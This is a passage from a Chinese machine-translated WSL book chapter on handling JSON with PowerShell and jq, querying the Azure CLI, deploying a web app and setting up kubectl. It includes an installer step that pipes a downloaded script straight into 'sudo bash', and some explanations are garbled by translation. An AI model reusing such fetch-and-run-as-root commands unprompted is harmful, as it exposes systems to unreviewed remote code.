时,`jq`是一个非常有用的工具,我们将在本章后面的章节中看到更多的例子。 - -在下一节中,我们将探索使用**PowerShell**处理 JSON 数据的选项。 - -## 使用 PowerShell 处理 JSON - -在这一节中,我们将探索 PowerShell 为处理 JSON 数据提供的一些功能。 PowerShell 是一种 shell 和脚本语言,它起源于 Windows,但现在可用于 Windows、Linux 和 macOS。 要在 WSL 中安装,请遵循您的发行版在 https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7 上的安装说明。 例如,对于 Ubuntu 18.04,我们可以使用以下命令来安装 PowerShell: - -```sh -# Download the Microsoft repository GPG keys wget -q https://packages.microsoft.com/config/ubuntu/18.04/packages-microsoft-prod.deb -# Register the Microsoft repository GPG keys sudo dpkg -i packages-microsoft-prod.deb -# Update the list of products sudo apt-get update -# Enable the "universe" repositories sudo add-apt-repository universe -# Install PowerShell sudo apt-get install -y powershell -``` - -这些步骤将注册 Microsoft 包存储库,然后从那里安装 PowerShell。 安装后,您可以通过运行`pwsh`来启动 PowerShell,这将为您提供一个交互式 shell,我们将在本节的其余示例中使用它。 - -我们可以加载和解析示例 JSON 文件如下: - -```sh -PS > Get-Content ./wsl-book.json | ConvertFrom-Json -title parts ------ ----- -WSL: Tips, Tricks and Techniques {@{name=Part 1: Introduction, Installation and Configuration; chapters=System.Object[… -``` - -这里,我们看到了用于加载示例文件内容的`Get-Content`cmdlet (PowerShell 中的命令称为**cmdlet**),以及用于将 JSON 对象图解析为 PowerShell 对象的`ConvertFrom-Json`。 此时,我们可以使用任何 PowerShell 特性来处理数据。 例如,我们可以使用`Select-Object`cmdlet 来获取标题: - -```sh -PS > Get-Content ./wsl-book.json | ConvertFrom-Json | Select-Object -ExpandProperty title -WSL: Tips, Tricks and Techniques -``` - -cmdlet 允许我们对一组对象执行各种操作,例如从集合的开始或结束处获取指定数量的项,或者只筛选唯一的项。 在本例中,我们使用它来选择要输出的输入对象的属性。 另一种获取标题的方法是直接处理转换后的 JSON 对象,如下所示: - -```sh -PS > $data = Get-Content ./wsl-book.json | ConvertFrom-Json -PS > $data.title -WSL: Tips, Tricks and Techniques -``` - -在本例中,我们保存了将数据从 JSON 转换为`$data`变量的结果,然后直接访问`title`属性。 现在我们有了`$data`变量,我们可以探索`parts`属性: - -```sh -PS > $data.parts | Select-Object -ExpandProperty name -Part 1: Introduction, Installation and Configuration -Part 2: Windows and Linux - A Winning Combination -Part 3: Developing with Windows Subsystem for Linux -``` - -在这个例子中,我们直接访问了`parts`属性,它是一个对象数组。 然后将这个对象数组传递给`Select-Object`以展开每个部分的`name`属性。 如果我们想生成 JSON 输出(就像我们在前一节中使用`jq`所做的那样),我们可以使用`ConvertTo-Json`cmdlet: - -```sh -PS > $data.parts | select -ExpandProperty name | ConvertTo-Json -[ - "Part 1: Introduction, Installation and Configuration", - "Part 2: Windows and Linux - A Winning Combination", - "Part 3: Developing with Windows Subsystem for Linux" -] -``` - -这里,我们使用了与前面示例中相同的命令(尽管为了简洁起见,我们使用了`Select-Object`的别名`select`),然后将输出传递给`ConvertTo-Json`cmdlet。 该 cmdlet 执行与`ConvertFrom-Json`相反的操作——换句话说,它将一组 PowerShell 对象转换为 JSON。 - -如果我们想输出带有部件名称的 JSON 对象,我们可以使用以下命令: - -```sh -PS > $data.parts | ForEach-Object { @{ "Name" = $_.name } } | ConvertTo-Json -[ - { - "Name": "Part 1: Introduction, Installation and Configuration" - }, - { - "Name": "Part 2: Windows and Linux - A Winning Combination" - }, - { - "Name": "Part 3: Developing with Windows Subsystem for Linux" - } -] -``` - -这里,我们用`ForEach-Object`代替`Select-Object`。 `ForEach-Object`cmdlet 允许提供一个 PowerShell 代码片段,为输入数据中的每个对象执行,`$_`变量包含用于每次执行的集合中的项。 `ForEach-Object`内的代码片段中,我们使用了`@{ }`语法来创建一个新的 PowerShell 对象的属性叫做`Name`设置为`name`房地产当前的输入对象(这是部分的名称,在本例中)。 最后,我们将结果对象集传递给`ConvertTo-Json`以转换为 JSON 输出。 - -我们可以使用这种方法来构建更丰富的输出——例如,包括部件的名称和它包含的章节数: - -```sh -PS > $data.parts | ForEach-Object { @{ "Name" = $_.name; "ChapterCount"=$_.chapters.Count } } | ConvertTo-Json -[ - { - "ChapterCount": 3, - "Name": "Part 1: Introduction, Installation and Configuration" - }, - { - "ChapterCount": 5, - "Name": "Part 2: Windows and Linux - A Winning Combination" - }, - { - "ChapterCount": 3, - "Name": "Part 3: Developing with Windows Subsystem for Linux" - } -] -``` - -在本例中,我们将`ForEach-Object`中的代码片段扩展为`@{ "Name" = $_.name; "ChapterCount"=$_.chapters.Count }`。 这将创建一个具有两个属性的对象:`Name`和`ChapterCount`。 `chapters`属性是一个 PowerShell 数组,因此我们可以使用该数组的`Count`属性作为输出中的`ChapterCount`属性的值。 - -如果我们想要输出带有每个部分的章节名称的摘要,我们可以结合我们目前看到的方法: - -```sh -PS > $data.parts | ForEach-Object { @{ "Name" = $_.name; "Chapters"=$_.chapters | Select-Object -ExpandProperty title } } | ConvertTo-Json -[ - { - "Chapters": [ - "Introduction to the Windows Subsystem for Linux", - "Installing and Configuring the Windows Subsystem for Linux", - "Getting Started with Windows Terminal" - ], - "Name": "Part 1: Introduction, Installation and Configuration" - }, - { - "Chapters": [ -... - ], - "Name": "Part 2: Windows and Linux - A Winning Combination" - }, - ... -] -``` - -这里,我们再次使用了`ForEach-Object`cmdlet 来创建 PowerShell 对象,这一次使用了`Name`和`Chapters`属性。 创建`Chapters`属性,我们只希望每一章的名称,我们可以使用`Select-Object`cmdlet 正如我们最初所选择部件名称早在本节中,但这一次我们在`ForEach-Object`代码片段中使用它。 能够以这种方式组合命令给我们带来了很大的灵活性。 - -在前面的示例中,我们一直在处理使用`Get-Content`从本地文件加载的数据。 为了从 URL 下载数据,PowerShell 提供了两个方便的 cmdlet:`Invoke-WebRequest`和`Invoke-RestMethod`。 - -我们可以使用`Invoke-WebRequest`从 GitHub 下载样本数据: - -```sh -$SAMPLE_URL="https://raw.githubusercontent.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques/main/chapter-11/02-working-with-json/wsl-book.json" -PS > Invoke-WebRequest $SAMPLE_URL -StatusCode : 200 -StatusDescription : OK -Content : { - "title": "WSL: Tips, Tricks and Techniques", - "parts": [ - { - "name": "Part 1: Introduction, Installation and Configuration", - "chapters": [ - { - … -RawContent : HTTP/1.1 200 OK - Connection: keep-alive - Cache-Control: max-age=300 - Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox - ETag: "075af59ea4d9e05e6efa0b4375b3da2f8010924311d487d… -Headers : {[Connection, System.String[]], [Cache-Control, System.String[]], [Content-Security-Policy, System.String[]], [ETag, System.Strin g[]]…} -Images : {} -InputFields : {} -Links : {} -RawContentLength : 4825 -RelationLink : {} -``` - -这里,我们看到`Invoke-WebRequest`让我们访问响应的各种属性,包括状态代码和内容。 要将数据作为 JSON 加载,我们可以将`Content`属性传递给`ConvertFrom-JSON`: - -```sh -PS > (iwr $SAMPLE_URL).Content | ConvertFrom-Json - title parts ------ ----- -WSL: Tips, Tricks and Techniques {@{name=Part 1: Introduction, Installation and Configuration; chapters=System.Object[]}, @{name=Part 2: Windows and… -``` - -在本例中,我们使用了`iwr`别名作为`Invoke-WebRequest`的简写,这在交互工作时非常方便。 我们可以将`Invoke-WebRequest`的输出传递给`Select-Object`以扩展`Content`属性,正如我们前面看到的那样。 相反,我们将表达式包装在括号中,以便直接访问属性,以显示另一种语法。 然后将这些内容传递给`ConvertFrom-Json`,它将数据转换为我们前面看到的 PowerShell 对象。 这种可组合性很方便,但如果你只对 JSON 内容感兴趣(而对响应的任何其他属性不感兴趣),那么你可以使用`Invoke-RestMethod`cmdlet 来实现这一点: - -```sh -PS > Invoke-RestMethod $SAMPLE_URL -title parts ------ ----- -WSL: Tips, Tricks and Techniques {@{name=Part 1: Introduction, Installation and Configuration; chapters=System.Object[]}, @{name=Part 2: Windows and… -``` - -这里,我们看到与前面相同的输出,因为`Invoke-RestMethod`cmdlet 已经确定响应包含 JSON 数据并自动执行转换。 - -## 总结 JSON 的工作 - -在最后的两节中,您已经看到了`jq`和 PowerShell 如何为处理 JSON 输入提供丰富的功能。 在每种情况下,您都看到了如何提取简单值和执行更复杂的操作来生成新的 JSON 输出。 随着 JSON 在 api 和 CLIs 之间的普遍使用,能够有效地使用 JSON 工作将极大地提高生产率,我们将在本章的其余部分看到这一点。 在本章的其余部分,我们将在一些例子中使用`jq`,在这些例子中,我们需要一个额外的工具来帮助处理 JSON,但请注意,你也可以使用 PowerShell。 - -在下一节中,我们将看到如何将使用 JSON 的技术与另一个命令行工具结合起来,这一次将介绍使用 Azure CLI 的一些技巧。 - -# 使用 Azure CLI (az) - -向云计算的发展带来了许多好处,其中之一就是能够按需提供计算资源。 能够自动化这些资源的创建、配置和删除是其优势的关键部分,这通常是使用相关云供应商提供的 CLI 来执行的。 - -在本节中,我们将创建并发布一个简单的网站,全部通过命令行,并以此作为一种方法来研究使用 Azure CLI(`az`)的一些技巧。 我们将看到在本章前面看到的一些使用`jq`的方法,以及`az`的内置查询功能。 如果你想继续学习,但还没有 Azure 订阅,你可以在 https://azure.microsoft.com/free/上注册免费试用。 让我们从安装 CLI 开始。 - -## 安装和配置 Azure CLI - -有一系列安装 Azure CLI 的选项。 最简单的是在想要安装 CLI 的 WSL 发行版中打开一个终端,并运行以下命令: - -```sh -curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -``` - -这个命令下载安装脚本并在 bash 中运行它。 如果您不喜欢直接从互联网运行脚本,您可以先下载脚本并检查它,或者在这里查看单独的安装步骤:[https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest)。 - -安装后,您应该能够从终端运行`az`。 要连接到 Azure 订阅以便您可以管理它,运行`az login`: - -```sh -$ az login -To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code D3SUM9QVS to authenticate. -``` - -在这个来自`az login`命令的输出中,您可以看到`az`已经生成了一个代码,我们可以通过访问[https://microsoft.com/devicelogin](https://microsoft.com/devicelogin)来登录该代码。 在浏览器中打开此 URL,并使用您用于 Azure 订阅的帐户登录。 执行此操作后不久,`az login`命令将输出您的订阅信息并完成运行。 - -如果有多个订阅,可以用`az account list`列出它们,并选择使用`az account set --subscription YourSubscriptionNameOrId`处理的默认订阅。 - -现在我们已经登录了,可以开始运行命令了。 在 Azure 中,资源位于资源组(一个逻辑容器)中,所以让我们列出我们的组: - -```sh -$ az group list -[] -``` - -这里,命令的输出显示订阅中目前没有资源组。 注意,输出是`[]`—一个空 JSON 数组。 默认情况下,`az`以 JSON 的形式输出结果,所以对带有一些现有资源组的订阅运行前面的命令会得到以下输出: - -```sh -$ az group list -[ - { - "id": "/subscriptions/36ce814f-1b29-4695-9bde-1e2ad14bda0f/resourceGroups/wsltipssite", - "location": "northeurope", - "managedBy": null, - "name": "wsltipssite", - "properties": { - "provisioningState": "Succeeded" - }, - "tags": null, - "type": "Microsoft.Resources/resourceGroups" - }, - ... -] -``` - -前面的输出由于过于冗长而被截断。 幸运的是,`az`允许从许多输出格式中进行选择,包括 table: - -```sh -$ az group list -o table -Name Location Status ------------ ----------- --------- -wsltipssite northeurope Succeeded -wsltipstest northeurope Succeeded -``` - -在这个输出中,我们使用了`-o table`开关来配置表输出。 这种输出格式更简洁,通常对于 CLI 的交互使用非常方便,但是必须不断地向命令添加开关会很单调。 幸运的是,我们可以通过运行`az configure`命令将表输出设置为默认值。 这将为您提供一组简短的交互选择,包括默认情况下使用哪种输出格式。 因为默认输出格式可以被覆盖,所以如果脚本中需要 JSON 输出,那么在用户配置了不同的默认格式时,指定 JSON 输出是很重要的。 - -要了解更多使用`az`的示例,包括如何在 Azure 中创建各种资源,请参见[https://docs.microsoft.com/cli/azure](https://docs.microsoft.com/cli/azure)中的*Samples*部分。 在本节的其余部分中,我们将查看一些使用 CLI 查询资源信息的特定示例。 - -## 创建 Azure web 应用 - -证明与`az`查询,我们将创建一个简单的 Azure web 应用。Azure web 应用允许您举办各种语言编写的 web 应用(包括. net, node . js、PHP、Java、Python),并且有许多部署选项,你可以选择根据自己的偏好。 我们将保持简单,以确保我们关注 CLI 的使用,因此我们将创建一个单页静态网站,并通过 FTP 部署它。 要了解更多关于 Azure web 应用的信息,请参阅[https://docs.microsoft.com/en-us/azure/app-service/overview](https://docs.microsoft.com/en-us/azure/app-service/overview)中的文档。 - -在创建 web 应用之前,我们需要创建一个资源组: - -```sh -az group create \ - --name wsltips-chapter-11-03 \ - --location westeurope -``` - -在这里,我们使用`az group create`命令创建一个资源组,以包含将要创建的资源。 注意,为了可读性,我们使用了行延续字符(`\`)将命令拆分为多行。 要运行一个 web 应用,我们需要一个 Azure 应用服务计划来托管它,所以我们首先创建: - -```sh -az appservice plan create \ - --resource-group wsltips-chapter-11-03 \ - --name wsltips-chapter-11-03 \ - --sku FREE -``` - -在这段代码片段中,我们使用`az appservice plan create`命令在刚才创建的资源组中创建一个空闲托管计划。 现在,我们可以使用该托管计划创建一个 web 应用: - -```sh -WEB_APP_NAME=wsltips$RANDOM -az webapp create \ - --resource-group wsltips-chapter-11-03 \ - --plan wsltips-chapter-11-03 \ - --name $WEB_APP_NAME -``` - -在这里,我们为站点生成一个随机名称(因为它需要是唯一的),并将其存储在`WEB_APP_NAME`变量中。 然后使用`az webapp create`命令。 一旦命令完成,我们就创建了新网站,并准备开始使用`az`CLI 进行查询。 - -## 查询单个值 - -我们要查询的 web 应用的第一个是它的 URL。 我们可以使用`az webapp show`命令来列出我们的 web 应用的各种属性: - -```sh -$ az webapp show \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --output json -{ - "appServicePlanId": "/subscriptions/67ce421f-bd68-463d-85ff-e89394ca5ce6/resourceGroups/wsltips-chapter-11-02/providers/Microsoft.Web/serverfarms/wsltips-chapter-11-03", - "defaultHostName": "wsltips28126.azurewebsites.net", - "enabled": true, - "enabledHostNames": [ - "wsltips28126.azurewebsites.net", - "wsltips28126.scm.azurewebsites.net" - ], - "id": "/subscriptions/67ce421f-bd68-463d-85ff-e89394ca5ce6/resourceGroups/wsltips-chapter-11-02/providers/Microsoft.Web/sites/wsltips28126", - ... - } -} -``` - -这里,我们通过了`--output json`开关,以确保无论配置的默认格式是什么,都能得到 JSON 输出。 在这个缩减后的输出中,我们可以看到有一个`defaultHostName`属性,我们可以使用它来构建站点的 URL。 - -提取`defaultHostName`属性 y 的一种方法是使用`jq`,正如我们在*Using jq*节中看到的: - -```sh -$ WEB_APP_URL=$(az webapp show \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --output json \ - | jq ".defaultHostName" -r) -``` - -在这个代码片段中,我们使用`jq`选择`-r``defaultHostName`属性,通过切换到原始输出,以避免它被引用,然后分配这个`WEB_APP_URL`财产,所以我们可以使用它在其他脚本。 - -`az`CLI 还包含使用**JMESPath**查询语言的内置查询功能。 我们可以使用这个让`az`运行 JMESPath 查询并输出结果: - -```sh -$ WEB_APP_URL=$(az webapp show \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --query "defaultHostName" \ - --output tsv) -``` - -这里,我们使用`--query`选项传递`"defaultHostName"`JMESPath 查询,该查询选择`defaultHostName`属性。 我们还添加了`--output tsv`以使用制表符分隔的输出,这可以防止值被引号括起来。 这将检索与前面使用`jq`的示例相同的值,但使用`az`完成所有操作。 这在与他人共享脚本时很有用,因为它删除了必需的依赖项。 - -提示 - -您可以在[https://jmespath.org](https://jmespath.org)找到关于 JMESPath 和交互式查询工具的更多详细信息。 有是一个用于运行 JMESPath 查询的`jp`CLI,可以从[https://github.com/jmespath/jp](https://github.com/jmespath/jp)安装。 另外,在您的终端中有一个`jpterm`CLI,它提供了一个交互式 JMESPath,可以从[https://github.com/jmespath/jmespath.terminal](https://github.com/jmespath/jmespath.terminal)安装。 - -在构建查询时,这些工具可以提供一种很好的方法来研究 JMESPath。 以下面的例子为例,使用`jpterm`: - -**az webapp show——name $WEB_APP_NAME——resource-group wsltips-chapter-11-03——output json | jpterm** - -在这里,您可以看到将 JSON 输出管道到`jpterm`,然后允许您在终端中交互式地试验查询。 - -我们已经看到了通过`az`检索主机名并将其存储在`WEB_APP_URL`变量中的两种方法。 现在,无论是运行`echo $WEB_APP_URL`输出值和复制到你的浏览器,或运行`wslview https://$WEB_APP_URL`从 WSL 启动浏览器(`wslview`的更多细节,请参见*使用 wslview 启动默认的 Windows 应用【显示】在[*第五章*【病人】,*Linux, Windows 互操作性*):](05.html#_idTextAnchor054)* - -![Figure 11.6 – A screenshot showing the Azure web app placeholder site ](img/Figure_11.6_B16412.jpg) - -图 11.6 -显示 Azure web 应用占位符站点的截图 - -在这个截图中,您可以看到占位符站点,它是通过我们通过`az`CLI 查询的 URL 加载的。 接下来,当我们向 web 应用添加一些内容时,让我们看看一个更复杂的查询需求。 - -## 查询过滤多个值 - -现在我们已经创建了一个 web 应用,让我们上传一个简单的 HTML 页面。 有很多选项可用于管理内容 Azure 的 web 应用(参见 https://docs.microsoft.com/en-us/azure/app-service/),但为简单起见,在本节中,我们将使用`curl`通过 FTP 上传单个 HTML 页面。 为此,我们需要获得 FTP URL 以及用户名和密码。 可以使用`az webapp deployment list-publishing-profiles`命令检索这些值: - -```sh -$ az webapp deployment list-publishing-profiles \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - -o json -[ - { - ... - "publishMethod": "MSDeploy", - "publishUrl": "wsltips28126.scm.azurewebsites.net:443", - "userName": "$wsltips28126", - "userPWD": "evps3kT1Ca7a2Rtlqf1h57RHeHMo9TGQaAjE3hJDv426HKhnlrzoDvGfeirT", - "webSystem": "WebSites" - }, - { - ... - "publishMethod": "FTP", - "publishUrl": "ftp://waws-prod-am2-319.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "wsltips28126\\$wsltips28126", - "userPWD": "evps3kT1Ca7a2Rtlqf1h57RHeHMo9TGQaAjE3hJDv426HKhnlrzoDvGfeirT", - "webSystem": "WebSites" - } -] -``` - -这个截断的输出在输出中显示了一个 JSON 数组。 我们需要的值在第二个数组项中(将`publishMethod`属性设置为`FTP`的项)。 让我们来看看如何使用上一节中看到的`--query`方法来实现这一点: - -```sh -PUBLISH_URL=$(az webapp deployment list-publishing-profiles \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --query "[?publishMethod == 'FTP']|[0].publishUrl" \ - --output tsv) -PUBLISH_USER=... -``` - -在这里,我们使用了的 JMESPath 查询`[?publishMethod == 'FTP']|[0].publishUrl`。 我们可以把查询分成几个部分: - -* `[?publishMethod == 'FTP']`是过滤数组的语法,这里我们只过滤它以返回值为`FTP`且包含`publishMethod`属性的项。 -* 上一个查询的输出仍然是一个项目数组,因此我们使用`|[0]`将该数组管道到数组选择器中以获取第一个数组项。 -* 最后,我们使用`.publishUrl`来选择`publishUrl`属性。 - -同样,我们使用了`--output tsv`开关来避免结果被引号括起来。 该查询检索发布 URL,我们可以重复该查询,将属性选择器更改为检索用户名和密码。 - -这种方法的缺点是,我们向`az`发出了三个查询,每个查询都返回我们需要的信息,但除了一个值外,所有的查询都被丢弃了。 在许多情况下,这是可以接受的,但有时我们需要的信息会从调用返回给我们以创建资源,在这些情况下,重复调用是不可能的。 在这些情况下,我们可以使用前面提到的`jq`方法的一个微小变化: - -```sh -CREDS_TEMP=$(az webapp deployment list-publishing-profiles \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --output json) -PUBLISH_URL=$(echo $CREDS_TEMP | jq 'map(select(.publishMethod =="FTP"))[0].publishUrl' -r) -PUBLISH_USER=$(echo $CREDS_TEMP | jq 'map(select(.publishMethod =="FTP"))[0].userName' -r) -PUBLISH_PASSWORD=$(echo $CREDS_TEMP | jq 'map(select(.publishMethod =="FTP"))[0].userPWD' -r) -``` - -这里,我们将从`az`存储 JSON 响应,而不是将其直接管道到`jq`。 然后我们可以将 JSON 多次管道到`jq`中,以选择我们想要检索的不同属性。 通过这种方式,我们可以对`az`进行一次调用,但仍然可以捕获多个值。 `jq`查询`map(select(.publishMethod =="FTP"))[0].publishUrl`可以按照与刚才看到的 JMESPath 查询类似的方式分解。 第一部分(`map(select(.publishMethod =="FTP"))`)是`jq`选择数组项的方法,其中`publishMethod`属性具有值 FTP。 查询的其余部分选择第一个数组项,然后捕获要输出的`publishUrl`属性。 - -这里还有一个选项,它是`--query`方法的一种变体,它允许我们不需要`jq`就发出单个查询: - -```sh -CREDS_TEMP=($(az webapp deployment list-publishing-profiles \ - --name $WEB_APP_NAME \ - --resource-group wsltips-chapter-11-03 \ - --query "[?publishMethod == 'FTP']|[0].[publishUrl,userName,userPWD]" \ - --output tsv)) -PUBLISH_URL=${CREDS_TEMP[0]} -PUBLISH_USER=${CREDS_TEMP[1]} -PUBLISH_PASSWORD=${CREDS_TEMP[2]} -``` - -此代码片段构建于早期的`--query`方法之上,但有几个不同之处需要指出。 - -首先,我们使用`.[publishUrl,userName,userPWD]`而不是简单地`.publishUrl`作为 JMESPath 查询中的最终选择器。 其结果是生成一个包含`publishUrl`、`userName,`和`userPWD`属性值的数组。 - -这个属性数组以制表符分隔的值输出,通过将执行`az`命令的结果括在括号中:`CREDS_TEMP=($(az...))`,将结果视为 bash 数组。 - -这两个步骤允许我们使用`--query`从对`az`的一次调用中返回多个值,并将结果存储在一个数组中。 输出中的最后几行显示了将数组项分配给命名变量以方便使用。 - -无论使用哪个选项来设置发布环境变量,我们现在都可以从终端上传`index.html`文件到示例内容的`chapter-11/03-working-with-az`文件夹中: - -```sh -curl -T index.html -u $PUBLISH_USER:$PUBLISH_PASSWORD $PUBLISH_URL/ -``` - -这里,我们使用`curl`使用查询的 URL、用户名和密码将`index.html`文件上传到 FTP。 现在我们可以回到浏览器并重新加载页面。 我们将得到以下结果: - -![Figure 11.7 – A screenshot showing the web app with our uploaded content ](img/B16412_11.7.jpg) - -图 11.7 -显示带有上传内容的 web 应用的截图 - -这张截图显示了我们之前创建的 web 应用,现在返回我们刚刚上传的简单 HTML 页面。 - -现在我们已经完成了我们创建的 web 应用(和应用服务计划),我们可以删除它们: - -```sh -az group delete --name wsltips-chapter-11-03 -``` - -这个命令将删除我们一直在使用的`wsltips-chapter-11-03`资源组以及我们在其中创建的所有资源。 - -本节中的示例显示使用`curl`FTP 单页 Azure 我们创建 web 应用,它提供了一个方便的查询例子`az`,但 Azure 部署 web 应用提供了一个广泛的选项内容的详细信息,请参阅下面的文章: [https://docs.microsoft.com/archive/msdn-magazine/2018/october/azure-deploying-to-azure-app-service-and-azure-functions](https://docs.microsoft.com/archive/msdn-magazine/2018/october/azure-deploying-to-azure-app-service-and-azure-functions)。 同样值得注意的是,对于托管静态网站,Azure Storage 静态站点托管可能是一个很好的选择。 有关演练,请参见[https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-static-website-how-to?tabs=azure-cli](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-static-website-how-to?tabs=azure-cli)。 - -在本节中,您看到了许多使用`az`CLI 进行查询的方法。 您已经了解了如何将默认输出设置为表格式,以便进行可读的交互式查询。 在编写脚本时,您已经了解了如何使用 JSON 输出并使用`jq`处理它。 您已经了解了如何通过`--query`切换到筛选器使用 JMESPath 查询,并通过`az`命令直接从响应中选择值。 在本节中,我们只研究了`az`CLI 的一小部分(用于 web 应用)——如果您对`az`的更多内容感兴趣,请参阅[https://docs.microsoft.com/cli/azure](https://docs.microsoft.com/cli/azure)。 - -在下一节中,我们将研究另一个 CLI—这一次是 Kubernetes。 - -# 使用 Kubernetes CLI (kubectl) - -在构建容器化应用时,Kubernetes 是容器编排器的常用选择。 Kubernetes 的介绍,见[*第 7 章*](07.html#_idTextAnchor082),*在 WSL 中与容器一起工作*中的*在 WSL 中*部分。 Kubernetes 包含一个名为`kubectl`的 CLI,用于从命令行使用 Kubernetes。 在本节中,我们将在 Kubernetes 中部署一个基本的网站,然后研究使用`kubectl`查询有关该网站信息的不同方法。 - -在[*第七章*](07.html#_idTextAnchor082),*在 WSL 中使用容器*中,我们看到了如何使用 Docker Desktop 在本地机器上设置 Kubernetes。 在这里,我们将探索使用云提供商设置 Kubernetes 集群。 下面的说明是针对 Azure 的,但是如果您熟悉另一种具有 Kubernetes 服务的云,那么就尝试使用它。 如果你想继续学习,但还没有 Azure 订阅,你可以在 https://azure.microsoft.com/free/注册免费试用。 - -让我们从安装`kubectl`开始。 - -## 安装和配置 kubectl - -有各种选项安装`kubectl`([在 https://kubernetes.io/docs/tasks/tools/install-kubectl/可以找到 install-kubectl-binary-with-curl-on-linux](https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-binary-with-curl-on-linux))但最简单的方法是运行以下命令从你 WSL 地理分布: - -```sh -curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl -chmod +x ./kubectl -sudo mv ./kubectl /usr/local/bin/kubectl -``` - -这些命令下载最新的`kubectl`二进制文件,将其标记为可执行文件,然后将其移动到`bin`文件夹中。 完成此操作后,您应该能够运行`kubectl version --client`来检查`kubectl`是否正确安装: - -```sh -$ kubectl version --client -Client Version: version.Info{Major:"1", Minor:"19", GitVersion:"v1.19.2", GitCommit:"f5743093fd1c663cb0cbc89748f730662345d44d", GitTreeState:"clean", BuildDate:"2020-09-16T13:41:02Z", GoVersion:"go1.15", Compiler:"gc", Platform:"linux/amd64"} -``` - -这里,我们看到`kubectl`的输出显示我们已经安装了版本`v1.19.2`。 - -`kubectl`实用程序具有广泛的命令,启用 bash 完成功能可以提高您的工作效率。 运行如下命令: - -```sh -echo 'source <(kubectl completion bash)' >>~/.bashrc -``` - -这将向您的`.bashrc`文件添加一个命令,以便在 bash 启动时自动加载`kubectl`bash 完成。 要进行测试,请重新启动 bash 或运行`source ~/.bashrc`。 现在,您可以键入`kubectl ver --cli`来获得之前的`kubectl version --client`命令。 - -提示 - -如果您发现`kubectl`太多无法输入,您可以通过运行以下命令来创建一个别名: - -**echo 'alias k=kubectl'>>~/。 bashrc** - -**echo 'complete -F __start_kubectl k'>>~/。 bashrc** - -这些命令添加到`.bashrc`中,将`k`配置为`kubectl`的别名,并为`k`设置 bash 补全。 - -这样,您就可以使用诸如`k version – client`之类的命令,并且仍然可以获得 bash 完成。 - -现在我们已经安装并配置了`kubectl`,让我们创建一个 Kubernetes 集群来使用它。 - -## 创建 Kubernetes 集群 - -下面的指令将引导您使用**Azure Kubernetes 服务**(**AKS**)使用 Azure CLI(`az`)创建 Kubernetes 集群。 如果您还没有安装`az`,请参考本章前面的*安装和配置 Azure CLI*小节。 - -第一步是创建一个资源组来包含我们的集群: - -```sh -az group create \ - --name wsltips-chapter-11-04 \ - --location westeurope -``` - -这里,我们在`westeurope`区域中创建一个名为`wsltips-chapter-11-04`的资源组。 - -接下来,我们创建 AKS 集群: - -```sh -az aks create \ - --resource-group wsltips-chapter-11-04 \ - --name wsltips \ - --node-count 2 \ - --generate-ssh-keys -``` - -这个命令在我们刚刚创建的资源组中创建了一个名为`wsltips`的集群。 这个命令将花费几分钟来运行,当它完成时,我们将有一个 Kubernetes 集群,其中包含两个工作节点,我们可以在其中运行容器工作负载。 - -最后一步是设置`kubectl`,使其可以连接到集群: - -```sh -az aks get-credentials \ - --resource-group wsltips-chapter-11-04 \ - --name wsltips -``` - -在这里,我们使用`az aks get-credentials`来获取我们创建的集群的凭据,并将其保存在`kubectl`的配置文件中。 - -现在,我们可以运行像`kubectl get services`这样的命令来列出已定义的服务: - -```sh -$ kubectl get services -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -kubernetes ClusterIP 10.0.0.1 443/TCP 7m -``` - -这个输出显示了我们创建的集群中 Kubernetes 服务的列表,这表明我们已经成功地连接到集群。 - -现在我们有了一个 Kubernetes 集群,并且配置了`kubectl`来连接到它,让我们向它部署一个测试网站。 - -## 基本网站部署 - -为了帮助探索`kubectl`,我们将部署一个基本的网站。 然后我们可以使用它来查看使用`kubectl`查询信息的不同方式。 - -本书附带的代码包含本节的 Kubernetes YAML 文件文件夹。 您可以从[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)获得此代码。 本节的内容在`chapter-11/04-working-with-kubectl`文件夹中。 `manifests`文件夹包含许多定义要部署的 Kubernetes 资源的 YAML 文件: - -* 一个包含的简单 HTML 页面的**ConfigMap** -* 部署**,它部署`nginx`图像,并将其配置为从 ConfigMap 加载 HTML 页面** -*** 位于`nginx`部署前面的服务** - - **要部署网站,请启动您的 WSL 发行版并导航到`chapter-11/04-working-with-kubectl`文件夹。 然后执行如下命令: - -```sh -$ kubectl apply -f manifests -configmap/nginx-html created -deployment.apps/chapter-11-04 created -service/chapter-11-04 created -``` - -在这里,我们使用`kubectl apply -f manifests`来创建`manifests`文件夹中的 YAML 文件所描述的资源。 该命令的输出显示已创建的三个资源。 - -现在,我们可以运行`kubectl get services chapter-11-04`来查看创建的服务的状态: - -```sh -$ kubectl get services chapter-11-04 -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -chapter-11-04 LoadBalancer 10.0.21.171 80:32181/TCP 3s -``` - -这里,我们看到`chapter-11-04`服务的类型是`LoadBalancer`。 部,`LoadBalancer`服务将自动公开使用*Azure 